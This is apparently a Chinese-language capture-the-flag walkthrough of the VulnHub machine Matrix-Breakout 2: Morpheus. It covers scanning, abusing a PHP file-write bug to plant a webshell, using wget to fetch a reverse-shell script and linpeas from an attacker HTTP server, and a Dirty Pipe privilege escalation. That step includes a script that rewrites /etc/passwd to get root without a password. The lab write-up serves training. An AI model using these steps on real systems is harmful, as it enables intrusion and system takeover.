靶机下载链接
https://download.vulnhub.com/matrix-breakout/matrix-breakout-2-morpheus.ova
1.信息收集
一般都是nmap起手,但是只会点鼠标的猴子当然要与众不同。
1.1 namp存活主机识别
nmap -sn 192.168.126.0/24
1.2 rustscan端口扫描及服务识别
项目地址:
https://github.com/RustScan/RustScan
rustscan是rust写的,速度快,底层还是调用了nmap,就是这样显得点鼠标的猴子逼格高一点。kali官方源默认没有,需要自行去github下载deb自行手动安装,下载完成后,打开下载目录,用apt安装即可
apt install ./rustscan_2.3.0_amd64.deb
更详细的使用请使用--help查看,这里只解释用到的参数。
rustscan -a 192.168.126.136,192.168.126.137 --ulimit 5000 -- -A -Pn
// -a 指定主机
// --ulimit 扫描速度,推荐5000
// -- "--"后面的就是你给nmap设的参数
// nmap -vvv -p {{port}} {{ip}} -A -Pn rustcan扫描结果对应{{port}} {{ip}},--后面跟的就是nmap 参数
// -A 就是进行系统识别,路由跟踪等
// -Pn 无ping扫描
扫描结果如下
81端口未授权,扫不了目录,ssh 8.4p1版本经搜索存在CVE-2024-6387我这里没有poc和exp就不试了
1.3 目录扫描
gobuster dir -u http://192.168.126.136 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
你就扫吧,一扫一个不吱声,靶场512MB的内存,你100万个包发过去,直接给他干的不能响应了。
2.1web渗透测试
欢迎来到 Boot2Root CTF,Morpheus:1。 你扮演 Trinity,试图调查 Nebuchadnezzar 上的一台计算机,Cypher 已将其他人锁定在其中,至少无法使用 ssh。
从上述内容看,并得不到任何有价值的信息。并且页面是纯静态。
有个file参数,是graffiti.txt,访问看看
刚好是graffIti.php中也出现了graffiti.txt文件,说明这个参数被拿来读取并显示到了页面上。直接php伪协议读一下graffiti.php的源码。
源码如下:
<?php
$file="graffiti.txt";
// 首先检查是不是POST传参
if($_SERVER['REQUEST_METHOD'] == 'POST') {
// 检查是否设置了file参数,设置则将其作为文件名
if (isset($_POST['file'])) {
$file=$_POST['file'];
}
// 检查是否设置了message参数。
if (isset($_POST['message'])) {
// 如果包含message参数,那么就写入文件
$handle = fopen($file, 'a+') or die('Cannot open file: ' . $file);
fwrite($handle, $_POST['message']);
fwrite($handle, "\n");
fclose($file);
}
}
// Display file,这里就是要展示一下文件了
$handle = fopen($file,"r");
while (!feof($handle)) {
echo fgets($handle);
echo "<br>\n";
}
fclose($handle);
?>
<p>
Enter message:
<p>
<form method="post">
<label>Message</label><div><input type="text" name="message"></div>
<input type="hidden" name="file" value="graffiti.txt">
<div><button type="submit">Post</button></div>
</form>
大体逻辑就是,如果有file参数,并且有message参数,就能把message写入file。并且没有限制,感谢出题人。
2.2 web渗透攻击-上传一句话木马
生成后直接记事本打开
然后url编码一下
直接哥斯拉连上
直接就进来喽,第一件事当时是猴子必备:whoami
www-data权限,找找flag,一般都在/目录
标志 1! 你已经进入系统了。 为什么 Cypher 将所有人拒之门外? 你能找到获取 Cypher 密码的方法吗?好像他给了 史密斯特工,这样史密斯就能找到在哪里与他见面。 另外,从端口 80 上的网络服务器拉取此映像以获取标志
找密码是不可能找的,嗯,对
2.3 猴子弹shell-此节纯搞笑
自己找是不可能自己找的,作为只会点鼠标的猴子,直接用大佬写的脚本
https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS
作为点鼠标的猴子,怎么可能反弹shell再传文件呢!点鼠标!
看官方需要加执行权限还要输入chmod命令,作为只会点鼠标的猴子,怎么可能执行命令!点鼠标!
emmmmm,直接炸了,算了,还是老老实实弹shell吧
2.4 反弹shell
Online - Reverse Shell Generator
这个网站可以找到php反弹shell的文件
vim reverse.php
python3 -m http.server 1234
首先,先把reverse.php和下面的linpeas.sh传进靶机
https://github.com/peass-ng/PEASS-ng/releases/download/20240728-0f010225/linpeas.sh
回到哥斯拉,把文件传上来
wget http://kali_ip:1234/两个文件
上传完毕,再kali中反弹shell
nc -nlvp 4444
访问reverse.php拿到,然后,用python做个伪终端
python3 -c 'import pty;pty.spawn("/bin/bash")';
cd /var/www/html
chmod +x linpeas.sh
./linpeas.sh
2.5 提权
2.5.1 个人探索-失败
根据网址,下载提权脚本
https://haxx.in/files/dirtypipez.c
gcc dirty.c -o dirty
./dirty 未果
2.5.2 大佬脚本-成功
CVE-2022-0847/Dirty-Pipe.sh at main · r1is/CVE-2022-0847 · GitHub
还是python开https.server然后在反弹的shell里面wget就可以
2.5.2 失败原因浅探
gcc exp.c -o exp -std=c99
# 备份密码文件
rm -f /tmp/passwd
cp /etc/passwd /tmp/passwd
if [ -f "/tmp/passwd" ];then
echo "/etc/passwd已备份到/tmp/passwd"
passwd_tmp=$(cat /etc/passwd|head)
./exp /etc/passwd 1 "${passwd_tmp/root:x/oot:}"
echo -e "\n# 恢复原来的密码\nrm -rf /etc/passwd\nmv /tmp/passwd /etc/passwd"
# 现在可以无需密码切换到root账号
su root
else
echo "/etc/passwd未备份到/tmp/passwd"
exit 1
fi
- 编译标准没有设定
- 并不是简单编译就可以使用,还执行了其他的操作。